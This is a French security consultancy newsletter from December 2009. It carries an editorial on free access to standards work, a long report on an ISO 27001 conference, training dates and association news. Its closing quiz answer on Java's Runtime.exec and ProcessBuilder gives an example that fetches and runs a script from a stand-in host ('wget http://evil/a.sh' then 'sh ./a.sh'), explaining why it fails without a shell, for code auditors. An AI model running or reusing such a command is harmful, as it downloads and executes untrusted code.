[Newsletter HSC] N°64 - Décembre 2009

Newsletter d'information de HSC newsletter at hsc-news.com
Mer 2 Déc 11:20:13 CET 2009


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              HSC Newsletter  --  N°064 --  decembre 2009
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 "Je suis adroit de la main gauche et je suis gauche de la main droite."
  
                                                [ Raymond Devos ]




 
--[ Sommaire ]----------------------------------------------------------

      1. Editorial : gratuité de la normalisation
      2. Le saviez vous ? La question
      3. Compte-rendu de la conférence du Club 27001 du 19 novembre
      4. Agenda des interventions publiques
      5. Prochaines formations HSC
                !! Rennes : session supplémentaire pour ISO 27005 en janvier !!
      6. Actualité des associations : Club 27001, Clusif et OSSIR
      7. Le saviez vous ? La réponse



--[ 1. Editorial - Hervé Schauer ]--------------------------------------

     La normalisation est désormais gratuite pour les PME !

     Ce mois-ci j'ai reçu le message suivant :
 "Les pièces que vous nous avez transmises vous permettent d'être
  exonéré de toute participation financière pour être membre de la
  CN IQLS en 2010..."
      Un immense message d'espoir pour les générations futures, pour
 ceux qui pensent que décidément rien ne change....
 1986 - 2010 : 24 ans de lutte avec l'AFNOR, sa partie AFNOR Normalisation,
 et le Ministère de l'Industrie. Devoir payer pour travailler bénévolement
 à la rédaction, la relecture, la correction ou la traduction de normes
 n'était une bonne idée. Je suis entré en normalisation avec POSIX en 1986,
 puis j'ai été éjecté pour non paiement de cotisation... 24 ans pour obtenir
 gain de cause et ne plus devoir débourser plusieurs milliers d'euros chaque
 année pour venir à l'AFNOR Normalisation et pouvoir participer.

 C'est dans le décret paru le 17 juin [1], à l'article 14, qu'il est écrit :
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 Il peut être demandé une participation aux frais d'élaboration d'une norme
 aux membres des commissions de normalisation prévue au II de l'article 12.
 Toutefois, il ne peut être demandé de participation aux frais d'élaboration
 d'une norme aux associations de consommateurs et aux associations de
 protection de l'environnement agréées compte tenu de leur représentativité
 sur le plan national, aux syndicats représentatifs de salariés, aux petites
 et moyennes entreprises de moins de 250 salariés ne dépendant pas à plus
 de 25 % d'un groupe de plus de 250 salariés, aux établissements publics
 d'enseignement et aux établissements publics à caractère scientifique et
 technologique, ainsi qu'aux départements ministériels au titre de la
 participation de leur responsable ministériel aux normes et de leur suppléant.
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
     Note : il faut aussi ajouter "chiffre d'affaires inférieur à 43 Meuros".

     Désormais, plus personne ne peut argumenter que c'est à cause du coût
 qu'il refuse de participer à l'élaboration des normes qui construisent
 notre futur. En sécurité de l'information, mais également dans tous
 les domaines : formats, interopérabilité, archivage, continuité d'activité,
 gestion des risques, protection de la vie privée, etc., tous les consultants
 indépendants, toutes les petites sociétés, les associations, et tous les
 établissements d'enseignement, doivent désormais se faire un devoir de
 saisir cette chance qui leur est offerte de pouvoir participer à la
 normalisation. Leur contribution active permettra d'équilibrer utilement
 les forces en présence.


 [1] Le décret fixant la mission de l'AFNOR du 17 juin 2009 :
http://www.legifrance.gouv.fr/affichTexte.do;jsessionid=?cidTexte=JORFTEXT000020749979&dateTexte=&oldAction=rechJO&categorieLien=id



--[ 2. Le saviez vous ? La question ]-----------------------------------

 Connaissez vous deux moyens en Java de lancer des programmes externes ?



--[ 3. Compte-rendu de la conférence du Club 27001 du 19 novembre ]-----
       par Frédéric Connes
      
     Le 19 novembre dernier était organisée à l'Usine-St Denis la troisième
 conférence du Club 27001 (http://www.club-27001.fr/).

 Après une présentation des intervenants de la journée par Eric Doyen,
 président du Club 27001, Alain de Greve, coordinateur pour la Belgique des
 experts ISO en sécurité, prend la parole. Il précise qu'il remplace Angelika
 Platte, qui n'a pas pu se libérer. L'exposé porte sur la situation des
 travaux du comité ISO/IEC JTC 1/SC27 et les dernières évolutions des normes
 270xx. La présentation commence par un aperçu de la structure de l'ISO et
 détaille ensuite le processus de normalisation, qui est le fruit d'une
 collaboration entre de nombreux états et organismes de tailles diverses,
 des réunions se tenant tous les six mois. La première étape est celle de
 l'étude de faisabilité d'un nouveau projet, qui se conclut par un vote des
 comités. Si le résultat est positif, le travail d'écriture commence pour
 aboutir à un "working draft". Plusieurs itérations de six mois peuvent être
 nécessaires avant d'aboutir à un texte mûr. Ensuite, chaque état doit
 appuyer ou non le projet, qui devient s'il est accepté un "committee draft".
 Dans une quatrième phase, le texte fait encore l'objet de discussions sur
 des points précis, jusqu'à devenir un "draft international standard" qui
 est finalement soumis à un vote élargi, posant rarement problème. Le texte
 devient alors une norme internationale (international standard) publiée.
 Au total, l'ensemble de la procédure prend en moyenne 2,8 années, et
 des révisions sont entreprises tous les cinq ans ou en cas de rapport
 d'anomalie. L'attention se concentre ensuite sur le sous-comité SC27, qui
 compte actuellement 42 "P-members", c'est-à-dire membres actifs, et 14
 "O-members", qui sont des observateurs (voir http://www.jtc1sc27.din.de/).
 Les groupes de travail 1 et 4 de ce sous-comité traitent de la série de normes
 27000. Alain de Greve présente l'avancée prévisionnelle des travaux sur les
 normes 270xx par le groupe 1, et détaille une proposition canadienne de
 taxonomie de la norme 27002, en discussion car certains états y sont
 opposés. Il s'agirait de diviser la norme en six parties (Security Strategy
 & Governance, Information Security Mgmt & Ops, Information Security,
 Physical & Environmental Security, Personnel Security, IT Security), chacune
 d'entre elles étant divisée en 6 sous-parties, pour aboutir à un total de
 plus de 300 mesures de sécurité, contre 133 aujourd'hui. Cette
 réorganisation a pour objectif de mieux structurer la norme et de permettre
 plus de finesse dans la sélection des mesures. L'exposé se termine par les
 perspectives de travail pour le groupe 4, qui traite des mesures et des
 services de sécurité.

 Le deuxième intervenant est Eric Wiatrowski, responsable sécurité chez
 Orange Business Services, qui traite de "l'aventure d'une certification", en
 l'occurrence celle du "Master Service Center" du Caire. La présentation
 commence par le rappel de quelques éléments de contexte sur OBS, qui est une
 marque de services dans le monde regroupant notamment France Télécom, Orange
 et Equant, pour un total d'environ 20 000 personnes. Le groupe a une
 stratégie globale de conformité à ISO 27001 et une stratégie locale de
 certification (Centertel en Pologne et PCS au Royaume-Uni ont été
 précurseurs). L'exposé explique les raisons de la certification, qui sont à
 rechercher dans une certaine pression des clients, un contexte favorable
 (conformité groupe, certifications ISO 15048, SAS 70 et ISO 9001) et
 également la concurrence, qui incite à rechercher des éléments
 différenciant. De plus, la certification permet de motiver les personnels
 et répond, dans certains pays, à une demande émergente lors de l'attribution
 de licences télécom. Eric Wiatrowski poursuit sa présentation par les
 grandes étapes de la certification, en commençant par le choix du périmètre.
 Il s'agissait ici de choisir une activité et un site représentatifs, sans
 ambition excessive. En pratique, c'est le "Master Service Center" du Caire,
 regroupant plus de 1000 personnes, qui a été sélectionné. Un budget a été
 alloué fin 2007, et le premier audit interne a été mené en juillet 2008,
 avant l'organisation d'un audit externe à blanc deux mois plus tard par
 Deloitte. Après quelques corrections, l'audit de certification a été mené en
 novembre 2008 par AFNOR Certification. Cette démarche a obligé l'entreprise
 à nommer et à former un responsable sécurité local, et à lancer une campagne
 de sensibilisation à la sécurité. Au final, un communiqué de presse a été
 publié et aujourd'hui les managers sont plus impliqués dans la sécurité.
 Pour terminer, les facteurs clés de succès sont détaillés. Il s'agit
 notamment du choix des partenaires, de l'encouragement des équipes, de
 l'utilisation de l'existant et de la mutualisation des certifications, qui
 réduit les perturbations opérationnelles. Le bilan est positif, puisque la
 certification apporte un avantage compétitif certain, ainsi qu'une émulation
 entre les équipes. Le coût total est estimé à 6 hommes-mois.

 Après une pause, Sandrine Lanery, directrice des opérations chez Easynet
 France, débute sa présentation sur "Maintenir sa certification ISO 27001".
 Easynet est un fournisseur de services globaux (hébergement, téléprésence,
 services IP) employant 110 personnes en France et disposant de datacenters
 dans le monde entier. L'entreprise s'est récemment orientée vers la sécurité
 en raison d'audits demandés par ses clients, et a recherché la conformité
 avec la norme ISO 27001. Le projet a été lancé en octobre 2007 et a
 nécessité l'intervention du Group Information Security Manager, maîtrisant
 la norme, et d'un consultant qualité. De plus, un Security Forum a été
 constitué, qui est une structure toujours en place ayant des responsabilités
 dans les ressources humaines, les aspects juridiques, le service d'hébergement
 et la sécurité physique et logique, qui se réunit tous les trois mois. Tous
 les documents ont été rédigés à la fois en français et en anglais.
 Finalement, la certification a été obtenue de BSI le 15 juillet 2008. Le
 périmètre du SMSI comportait le datacenter français et les solutions
 hébergées, et la déclaration d'applicabilité recensait 103 mesures de
 sécurité. Du point de vue de la démarche adoptée, la méthodologie du groupe
 a été reprise, notamment en termes de plan de continuité et de tests
 réguliers, avec des adaptations aux pratiques locales françaises. Un
 programme de prise de conscience de la sécurité a été mis en place, en
 particulier avec des actions de sensibilisation, des sessions de formation
 ou encore l'organisation de quizz. Par ailleurs, de nombreuses procédures
 ont été formalisées. Cependant, l'organisation d'Easynet a évolué,
 notamment l'arrêt du soutien du Group Information Security Manager, et au
 bout d'un an il a été décidé de faire un bilan, qui a été confié à HSC. Ce
 bilan a mis en évidence les difficultés de maintenir le SMSI dues à
 l'absence de propriétaire, tant dans le suivi au quotidien que dans
 l'application de la boucle PDCA. Easynet a donc décidé de se réapproprier
 le SMSI, par la mise en place de workshops (revue des actifs, des risques,
 des documents...), une révision des mesures d'efficacité, des audits de
 contrôle, l'approbation d'un budget d'assistance et l'optimisation des
 réunions du Security Forum. Cette démarche a permis l'appropriation du SMSI
 en local et a servi d'exemple de ce qui pourrait être fait dans d'autres
 filiales européennes d'Easynet.

 L'intervention de Jean-Louis Coulon, directeur général du groupe Réunica,
 vient clore la matinée. Elle porte sur la sécurité des systèmes
 d'information au sein du GIE Systalians. L'orateur rappelle d'abord que le
 groupe Réunica est le deuxième groupe de retraite complémentaire en France
 et que Systalians est le GIE Informatique du groupe Reunica-Bayard. La
 protection sociale est aujourd'hui un enjeu de société, car le modèle issu
 de la Seconde Guerre mondiale ne semble plus pérenne. Des réformes et
 modifications profondes sont en cours, et dans ce cadre la sécurité apparaît
 comme un enjeu majeur, relevant de la direction générale. Pour y répondre,
 un programme stratégique baptisé "PS10" a été mis en place, qui est un
 système de management des risques et de la qualité au sein du groupe. Il
 doit permettre une mise en conformité avec les différentes contraintes
 réglementaires, qui sont notamment le règlement de sécurité des fédérations
 AGIRC et ARRCO, fondé sur ISO 27002, et, à partir de 2012, la directive
 Solvency II, qui s'applique notamment aux compagnies d'assurance et aux
 mutuelles. L'orateur évoque ensuite les enjeux de la certification ISO 27001,
 qui sont principalement de se démarquer dans le secteur et de renforcer la
 confiance des clients, sans pour autant aller trop loin. Il précise que
 Systalians mène une approche globale des systèmes de management, avec une
 certification ISO 9001 en 2001, 20000-1 en 2004 et 27001 en 2009. Sur 27001,
 la démarche de certification a duré deux ans et s'est conclue par
 l'obtention du certificat en juillet 2009, délivré par LSTI. Un bilan
 initial a été mené en 2007, qui a conduit à la mise en place de nombreux
 projets techniques, tels que la réalisation de tests deux fois par an,
 l'installation de systèmes redondants, le renforcement des systèmes de
 contrôle et la création d'un chapitre sécurité dans tous les projets. Le
 SMSI de Systalians a été défini, et regroupe l'ensemble des activités
 métiers et des sites, soit 64 actifs dont 13 critiques. Au total, 126
 mesures de sécurité ont été sélectionneés. La volonté manifestée au plus
 haut niveau, la forte mobilisation des équipes internes et l'accompagnement
 au quotidien ont joué un rôle déterminant dans le succès de la certification.
 Finalement, celle-ci a permis de réduire les coûts, de renforcer la
 confiance et d'améliorer la sécurité dans le temps. Il reste maintenant à
 optimiser l'intégration des systèmes de management, à rationaliser les
 démarches et à intégrer Solvency II.

 L'après-midi débute avec la présentation de François Morris, RSSI du siège
 du CNRS, qui porte sur "La SSI au CNRS, évolution vers un SMSI". Après un
 rapide aperçu de la structure du CNRS, qui est complexe, l'organisation de
 la SSI est présentée. Une distinction est faite entre la chaîne
 fonctionnelle, tant à l'échelle nationale, régionale que locale, et la
 chaîne hiérarchique. La SSI est une préoccupation ancienne, qui remonte au
 moins à 1997 pour les procédures documentées. Un bulletin spécialisé est
 édité depuis 1994, des formations sont organisées depuis 1990 et un groupe
 de travail CAPSEC a été installé en 2005, qui est chargé d'établir des
 documents et des guides. L'intervenant revient ensuite sur la mise en place
 d'un SMSI, qui répond à la nécessité de franchir une étape, de pérenniser,
 de formaliser, et d'accroître le pilotage. Le besoin de SSI est justifié par
 l'existence de risques réels et aussi par le milieu très compétitif dans
 lequel s'insère le CNRS. Une PSSI est en place depuis fin 2006, mais elle
 dépasse largement le cadre d'une PSSI stricto sensu, puisqu'elle contient
 beaucoup d'éléments d'un SMSI et divers documents exigés par la norme
 ISO 27001. Il faut noter ici qu'il s'avère très difficile d'imposer la SSI
 en raison de la culture libertaire de l'organisme. Les opérations de
 formation sont détaillées, car il s'agit d'un des principaux leviers pour
 agir au CNRS. 24 personnes ont été certifiées ISO 27001 Lead Implementer par
 LSTI en 2008 et des formations sont prévues en région en 2009-2010, qui
 ne visent toutefois pas la certification des personnels. Pour ce qui est des
 méthodes et outils employés, la PSSI est déclinée au niveau local, avec une
 appréciation des risques uniquement sur les spécificités locales et la
 reprise des mesures établies à l'échelle nationale. De plus, la déclaration
 d'applicabilité est déjà en grande partie réalisée. Par ailleurs, une
 mutualisation des efforts a été entreprise avec la constitution et la mise
 en commun de procédures et de documents génériques. Des exemples de tableaux
 reprenant l'annexe A de la norme ISO 27001 sont présentés. Finalement, les
 apports de la démarche SMSI sont la mise en place d'un référentiel commun au
 sein du CNRS et le passage d'une culture orale à une culture écrite qui
 préserve mieux la mémoire de l'organisme. Les perspectives d'avenir sont
 l'extension du déploiement dans les différentes unités, toutes les régions
 devant être concernées d'ici six mois, le recours croissant à
 l'accompagnement dans chaque entité et une démarche de certification pour
 certains périmètres. Ainsi, aujourd'hui, l'optique est devenue plus
 managériale que technique.

 L'orateur suivant est Loïc Guézo d'IBM France, qui traite du retour
 d'expérience de son entreprise sur la certification ISO/IEC 27001. Il
 commence par expliquer qu'IBM assure la gestion des systèmes d'information
 des entreprises avec ses services d'outsourcing, répartis sur six sites en
 France et regroupant des dizaines de milliers de serveurs. Dès lors,
 l'entreprise doit fournir des garanties de niveaux de service et répondre à
 des exigences de sécurité, ce qui l'a amenée à envisager une certification
 ISO 27001, d'autant que son mode de fonctionnement était déjà proche de la
 démarche PDCA. Le management a donc apporté son soutien au projet dès 2005
 et a décidé de procéder à une double certification ISO 20000 et 27001. Une
 équipe de trois personnes a été constituée pour superviser les deux
 certifications. Elle était composée d'un chef de projet, d'un leader
 ISO 20000 et d'un leader ISO 27001, et a procédé à une analyse des
 processus existants et à une comparaison avec les exigences des normes,
 ce qui a permis d'identifier les principaux deltas. Ces derniers
 provenaient de procédures manquantes et, surtout, d'un manque de
 communication entre les processus. A partir de là, des plans d'action ont pu
 être mis en oeuvre pour résoudre les problèmes, notamment par l'écriture
 des procédures manquantes et la mise en place d'une meilleure coordination
 entre les services, avec en particulier des réunions hebdomadaires et
 mensuelles. Finalement, tous les contrôles ont été pris en compte pour
 répondre aux besoins des clients. L'intervenant détaille ensuite les
 difficultés rencontrées, qui tiennent essentiellement au fonctionnement
 vertical (en "towers") de l'entreprise et à la nécessité de correctement
 prendre en compte les contraintes des clients. Les points négatifs constatés
 ont été la consommation de temps, la difficulté d'impliquer toutes les
 équipes et la quantité de documents à traiter. A l'inverse, ont été
 considérés comme des points positifs l'amélioration de la coordination entre
 les équipes, la mise en place de références croisées et le nettoyage des
 procédures existantes. Les deux certifications ont été obtenues en octobre
 2007 de Bureau Veritas. Aujourd'hui, l'existence du certificat est
 mentionnée dans toutes les propositions commerciales.

 Gérôme Billois, de Solucom, prend ensuite la parole pour évoquer la
 "certification ISO 27001 des prestations d'audit de sécurité des SI" de son
 entreprise. Il commence par rappeler que Solucom est un cabinet de conseil
 en management et système d'information, regroupant environ 1000
 collaborateurs, qui a obtenu la certification ISO 27001 le 18 septembre 2008
 sur le périmètre de ses prestations d'audit de sécurité. L'entreprise
 réalise environ 150 audits de sécurité par an avec une équipe de 15
 auditeurs en faisant appel ponctuellement à d'autre consultants du
 département  des services en sécurité qui totalise environ 150 personnes.
 Ses services d'audit apparaissent comme sensibles, notamment en raison de
 l'importance de préserver la confidentialité et l'intégrité des traces
 collectées et des conclusions. La certification a été recherchée pour
 différencier les prestations sur le marché et montrer que l'entreprise était
 compétente pour accompagner ses clients sur les projets ISO 27001. Une
 réflexion a d'abord été menée sur le périmètre du SMSI, qui intégre
 notamment les auditeurs débutant ou finissant une mission et est donc à
 taille variable. La sortie du périmètre se fait en cas de départ de la
 société ou au bout d'un an sans activité d'audit. Les processus concernés
 sont ceux qui gèrent le SMSI, le SI d'audit et les missions d'audit. La
 déclaration d'applicabilité comportait 114 mesures de sécurité. De nouvelles
 pratiques PDCA incluant la sensibilisation et des indicateurs d'activité et
 d'efficacité ont été mises en oeuvre et un focus particulier a été mis sur
 le contrôle. Le projet a représenté au total 80 jours-hommes et les tâches
 récurrentes sont évaluées à environ 40 jours-hommes par an. Au final,
 Solucom a bénéficié de certaines facilités, comme l'expertise interne sur
 les normes, mais a aussi dû se confronter à certains challenges, comme
 faire adopter le principe des conventions de service et identifier un
 outillage sécurité conforme aux exigences des auditeurs. Un an plus tard,
 la base apparaît solide et capable de supporter des évolutions, comme
 le passage de 23 à 36 actifs et de 15 risques majeurs et significatifs à
 8 risques significatifs. De plus, la certification a permis
 l'identification de points d'attention grâce à l'audit, et la mise en
 oeuvre de pratiques opérationnelles simples. Il s'agit donc d'un succès
 avec des retours internes positifs.

 La dernière présentation est celle de Nicolas Mayer, du centre de recherche
 publique Henri Tudor au Luxembourg. Elle porte sur les "initiatives pour
 l'adoption par les PME de l'ISO/IEC 27001 au Luxembourg". L'intervention
 commence par une présentation du centre, qui fait de la recherche appliquée
 à  un horizon de deux à trois années. Il dispose d'un financement privé et
 public à parts égales et regroupe 350 personnes dont 120 travaillent sur les
 technologies de l'information et de la communication. Le centre a collaboré
 avec le Ministère de l'Economie et du Commerce extérieur du Luxembourg sur un
 projet baptisé "ISMS-PME", dont l'objectif est la rédaction d'un guide
 d'implémentation d'un SMSI adapté aux PME, avec la réalisation de modèles et
 d'outils logiciels supports de la démarche. Une expérimentation initiale a
 été conduite avec l'entreprise Codasystem, le but étant de maîtriser la
 norme ISO 27001 et de développer les compétences sur l'implémentation d'un
 SMSI. L'expérience s'est déroulée de juin 2006 à mai 2008 et a nécessité
 l'investissement d'environ 100 jours-hommes. Après de nombreuses adaptations
 liées notamment au manque de maturité organisationnelle, au besoin de
 formation et à l'absence de procédures formalisées, Codasystem est
 finalement devenue la première entreprise privée à obtenir la certification
 au Luxembourg. Dans une deuxième phase, le projet ISMS-PME avait pour
 objectif de produire le guide. Dans cette perspective, des objectifs ont
 d'abord été établis, puis le guide a été réalisé. Il reprend et réduit les
 exigences de la norme ISO 27001 et simplifie la présentation. Deux outils
 ont été formalisés, l'un étant une appréciation des risques suivant la norme
 ISO 27005 et l'autre une "gap analysis" ISO 27001. Par ailleurs, un ensemble
 de modèles, utilisables tels quels ou comme exemples, a été réalisé. Ensuite,
 le guide a été soumis à une revue par une douzaine d'experts et a été soumis
 à une expérimentation. Le Ministère de l'Economie luxembourgeois a ainsi
 initié la mise en place un SMSI dans deux directions en avril 2009, avec un
 achèvement prévu en décembre 2009. Le contexte était en effet favorable, avec
 une bonne culture SSI et la réalisation en 2006 d'une appréciation des
 risques EBIOS. La compétence des personnes impliquées s'est révélée positive,
 tandis que l'implication insuffisante de la direction a été perçue
 négativement. Deux autres expérimentations ont concerné l'Administration de
 la navigation aérienne (ANA) du Luxembourg et l'entreprise IFOnline, qui
 emploie quatre personnes. Elles ont débuté en octobre 2009 et doivent
 s'achever en mars 2010. ANA est déjà certifiée ISO 9001 et ses systèmes
 critiques sont déjà contrôlés par des entités externes, tandis que IFOnline
 a une bonne culture sécurité mais manque de formalisation. Les premières
 conclusions montrent que le guide et les outils ont une valeur ajoutée plus
 importante avec un organisme peu mature. Les premiers résultats ont été
 transférés au réseau "Cassis". Pour finir, l'intervenant détaille les
 perspectives d'avenir et notamment l'accompagnement en grappe, qui consiste
 à suivre entre trois et cinq entreprises simultanément afin de réduire les
 coûts, avec des sessions de formation et de coaching. Cette phase doit
 s'étaler de janvier à juillet 2010 et doit permettre d'améliorer le taux de
 pénétration de la norme ISO 27001 au Luxembourg.

 La journée s'achève avec la table ronde animée par Anne Confolant du site
 ITespresso.fr. Les participants sont Béatrice Porrot, responsable commerciale
 chez LRQA France, Philippe Bourdalé, chef de projet chez AFNOR Certification,
 et Philippe Bouchet, directeur des opérations et auditeur chez LSTI.
 La journaliste commence par demander aux participants pourquoi si peu
 d'entreprises sont actuellement certifiées ISO 27001. Béatrice Porrot
 explique que la norme est émergente et qu'aucune disposition contraignante
 n'impose aux entreprises de se faire certifier. Dès lors, celles-ci ont du
 mal à percevoir le retour sur investissement. Philippe Bouchet estime quant
 à lui qu'on parle beaucoup de la norme sans qu'il y ait de retombées
 concrètes, mais il espère une évolution rapide sur ce point. Enfin, Philippe
 Bourdalé nuance les propos précédents en affirmant que certains de ses
 clients ont des contraintes pour se certifier. Anne Confolant souhaite alors
 savoir qui se certifie. Béatrice Porrot évoque les caisses de retraite,
 tandis que Philippe Bouchet estime qu'il s'agit aussi des SSII, des
 opérateurs télécom et des datacenters. Philippe Bourdalé pense que la
 certification correspond à un véritable projet d'entreprise, qui a un coût.
 La question est alors posée de savoir s'il n'y aurait pas un déficit de
 communication autour de la norme. Pour Philippe Bourdalé, les organismes
 certificateurs ont une attitude attentiste, alors qu'ils devraient être
 plus dynamiques et faire identifier aux entreprises leurs besoins de
 certification. Philippe Bouchet estime lui aussi que les organismes de
 certification ont un rôle à jouer, mais que c'est avant tout aux formateurs
 d'apporter des clients. Finalement, la conférence est close par Eric Doyen,
 qui remercie les participants.


 Note d'Hervé Schauer : HSC remercie chaleureusement Orange, Deloitte,
 Easynet, Systalians, le CNRS, IBM, Solucom, le CRPHT et LRQA pour avoir
 fait confiance aux formations ISO 27001 & ISO 27005 dispensées par HSC.



--[ 4. Agenda des interventions publiques ]-----------------------------
 
 - 3 décembre 2009 : Conférence JRES 2009 - Nantes
   Participation à la table ronde "D'EBIOS à la réalité du terrain, comment
   mettre en oeuvre une politique de sécurité cohérente et pragmatique ?"
   Hervé Schauer
   https://2009.jres.org/planning?planning_aid=149

 Retrouvez l'agenda de nos interventions publiques sur
 http://www.hsc.fr/conferences/agenda.html.fr



--[ 5. Prochaines formations HSC ]--------------------------------------

     Nos prochaines formations sont les suivantes :

 - Paris
        ISO 27005 Risk Manager    ..............    : 2 au 4 décembre (G)
        ISO 27001 Lead Implementer    ..........    : 7 au 11 décembre (G)(C)
        ISO 27001 Lead Auditor    ..............    : 14 au 18 décembre (G)
        ISO 20000-1 Lead Auditor    ............    : 11 au 15 janvier
        ISO 27005 Risk Manager    ..............    : 13 au 15 janvier
        ISO 27001 Lead Auditor    ..............    : 18 au 22 janvier
        Gestion des identités et des accès    ..    : 25 au 27 janvier
        Juridique de la SSI    .................    : 28 et 29 janvier
        ISO 27001 Lead Implementer    ..........    : 1 au 5 février
        Réalisation pratique des Tests d'Intrusion  : 8 au 12 février (*)
        Essentiel de la série ISO 27001    .....    : 18 et 19 février
        DNS par la pratique   ..................    : 8 mars (*)
        Postfix par la pratique    .............    : 9 mars (*)
        Lutte contre le spam par la pratique   .    : 10 et 11 mars (*)
        Sécurité Unix et Linux   ...............    : 11 et 12 mars (*)
        Sécurité des serveurs et applications web   : 29 au 31 mars (*)
        Sécurité du WiFi    .....................   : 1 et 2 avril (*)
        Mutualisation ISO 27001/autres référentiels : 6 avril
        Présentation de la certification ISO 27001  : 7 avril
        Indicateurs et tableaux de bord SSI    .    : 8 avril
        Programmation sécurisée en PHP    ......    : 7 au 9 avril (*)
        Fondamentaux de la SSI    ..............    : 29 et 30 avril
        Sécurité de la VoIP   ..................    : 25 mai

 (*) : formations pratiques avec un ordinateur par stagiaire
 (C) : formations complètes au niveau des pré-inscriptions
 (G) : information importante : en cas de déclenchement du niveau 5B ou 6
 du plan national de pandémie grippale, certaines "mesures barrières de
 freinage et de limitation d'extension de la maladie" risquent d'empêcher le
 déroulement normal des formations (interruption des transports collectifs,
 restriction des activités professionnelles...). Dans ce cas, les personnes
 inscrites ou pré-inscrites aux sessions de formation impactées se verront
 proposer des places prioritaires sur des sessions de remplacement planifiées
 aux mois de décembre et de janvier :
   ISO 27001 Lead Implementer : 11 au 15 janvier, puis surcharge en février
   ISO 27001 Lead Auditor : surcharge du 18 au 22 janvier
   ISO 27005 Risk Manager : 21 au 23 décembre


 - Genève (Suisse)
        ISO 27001 Lead Auditor    ..............    : 8 au 12 février 2010
        ISO 27005 Risk Manager    ..............    : 9 au 11 juin

 - Luxembourg
        ISO 27001 Lead Implementer    ..........    : 15 au 19 février
        ISO 27001 Lead Auditor    ..............    : 26 au 30 avril
        ISO 27005 Risk Manager    ..............    : 17 au 19 mai

 - Lyon
        ISO 27005 Risk Manager   ...............    : 2 au 4 juin

 - Marseille
        ISO 27005 Risk Manager    ..............    : 29 au 31 mars

 - Nantes
        ISO 27005 Risk Manager    ..............    : septembre ou octobre

 - Nice
        ISO 27001 Lead Implementer    ..........    : 28 juin au 2 juillet

 - Niort
        ISO 27005 Risk Manager    ..............    : 24 au 26 février

 - Rennes
        ISO 27005 Risk Manager    ..............    : 16 au 18 décembre (C)
   !! Session supplémentaire !!
        ISO 27005 Risk Manager    ..............    : 25 au 27 janvier

 - Strasbourg
        ISO 27001 Lead Implementer    ..........    : 22 au 26 février
 
 - Toulouse
        ISO 27001 Lead Auditor    ..............    : 1 au 5 mars
        ISO 27005 Information Security Risk Manager : 3 au 5 mai


 Pour tout renseignement, et pour vous inscrire pour toutes les villes
 sauf Luxembourg, contactez Lynda Benchikh :
 formations at hsc.fr  --  +33 141 409 704

 Pour les formations à Luxembourg contactez Sylvie Favaut de Dimension Data :
 Sylvie.Favaut at eu.didata.com
 Tél : +352 25 48 25 321  --  GSM : +352 621 31 20 88  --  Fax : +352 25 48 30

 Rappel : pour 4 jours de formation consécutifs commandés
 simultanément par la même personne, le 5ème jour est offert (sauf
 formations d'une semaine et certifiantes).

 Vous souhaitez des formations dans votre ville ? Contactez Hervé Schauer.

 Retrouvez le détail de nos formations (plan pédagogique, agenda) ainsi que
 notre catalogue sur http://www.hsc-formation.fr/



--[ 6. Actualité des associations : Club 27001 et OSSIR ]----------------

  o Club 27001 (http://www.club-27001.fr/)
     . Cf. compte-rendu de la conférence annuelle du Club du jeudi 19
       novembre 2009 au paragraphe 3.
       Les transparents des présentations ont été distribués aux participants
       sur une clé USB
     . Prochaine réunion à Paris le jeudi 14 janvier 2010
       Les présentations sont en cours de confirmation.
     . Prochaine réunion à Toulouse vendredi 4 décembre 2009 à 13h45
       chez France Telecom à Blagnac, inscription auprès d'Anne Mur
       ou Dominique Pourcelie obligatoire :
        - Compte-rendu de la réunion du JTC1/SC27 par Lionel Vodzislawsky,
          Oppida
        - Débat sur l'évolution des normes et notamment de la DdA par
          Laurent Piebois, Airbus
        - Compte-rendu de la conférence annuelle du Club par Anne Mur
     . Prochaine réunion à Marseille lundi 14 décembre 2009 à 9h30
       au WTCenter Marseille.
        - Présentation de l'activité du club, de la famille des normes
          ISO27000 et de leurs évolutions par Marc Dovero, CG13
        - Mise en place d'une politique de sécurité au sein de l'Éducation
          Nationale par Jean-Louis Brunel, Ministère de l'Education Nationale
     Inscrivez-vous sur la liste de Toulouse, Marseille, etc sur
     www.club-27001.fr pour avoir l'activité des clubs en région.

 o Clusif (http://www.clusif.asso.fr)
     . Publication du document "PCI-DSS : une présentation" rédigé par le
       groupe de travail PCI-DSS du Clusif auquel Hervé Schauer a participé :
http://www.clusif.asso.fr/fr/production/ouvrages/pdf/CLUSIF-2009-PCIDSS-Une-presentation.pdf

 o OSSIR (http://www.ossir.org/)
     . Prochaine réunion à Paris mardi 10 décembre à 14h00 à l'ENSAM salle C3
       - Surveillance temps réel des communications électroniques
         par Bastien Hillen, Scan & Target
       - Les évolutions législatives autour du CIL par Bruno Rasle, AFCDP
     . Réunion suivante le mardi 12 janvier 2010 avec l'assemblée générale
       de l'association le matin
     . Prochaine réunion à Toulouse début janvier (date pas encore fixée)
     . Prochaine réunion à Rennes mardi 8 décembre à 14h15 chez Thomson R&D
        - Analyse d'un botnet artisanal par Julien Lenoir, Sogeti
        - Design et implémentation d'une solution de filtrage ARP par Patrice
          Auffret, Thomson
     . Prochaine réunion à Lyon annoncée bientôt
     . JSSI de l'OSSIR à Paris le 16 Mars 2010 - réservez votre date



--[ 7. Le saviez vous ? La réponse ]-------------------------------------

     La première méthode est bien connue par tous les auditeurs de code
 J2EE, il s'agit de la méthode Exec de la classe java.lang.Runtime. Cette
 classe permet également d'effectuer des actions réputées dangereuses,
 comme importer de nouvelles bibliothèques dynamiques, ou d'arrêter la
 VM. Les utilisations de cette classe sont donc particulièrement
 recherchées dans les audits de sécurité. Il faut rappeler que cette
 méthode ne lance pas de shell, et donc qu'une construction comme 

     String woof[] = {"ls",";","wget http://evil/a.sh",";","sh ./a.sh"};

     try {
         Process process = Runtime.getRuntime().exec(woof);
     } catch (IOException e)
     {
         e.printStackTrace();
     }


 ne provoquera pas de catastrophe planétaire, puisque ";" ne sera pas
 interprété.

     Dans Java 1.5 sont apparues les méthodes de la classe
 java.lang.ProcessBuilder, permettant également de lancer des programmes
 externes, avec un plus grand contrôle sur son environnement (documentation
 sur http://java.sun.com/j2se/1.5.0/docs/api/java/lang/ProcessBuilder.html)

     String woof[] = {"ls",";","wget http://evil/a.sh",";","sh ./a.sh"};

     try {
         Process process = new ProcessBuilder(woof).start();
     } catch (IOException e)
     {
         e.printStackTrace();
     }

 Un audit de code doit donc prendre en compte ces nouvelles méthodes, et
 les recommandations de sécurité être adaptées ou tout au moins vérifiées à
 chaque évolution majeure des environnements.
 


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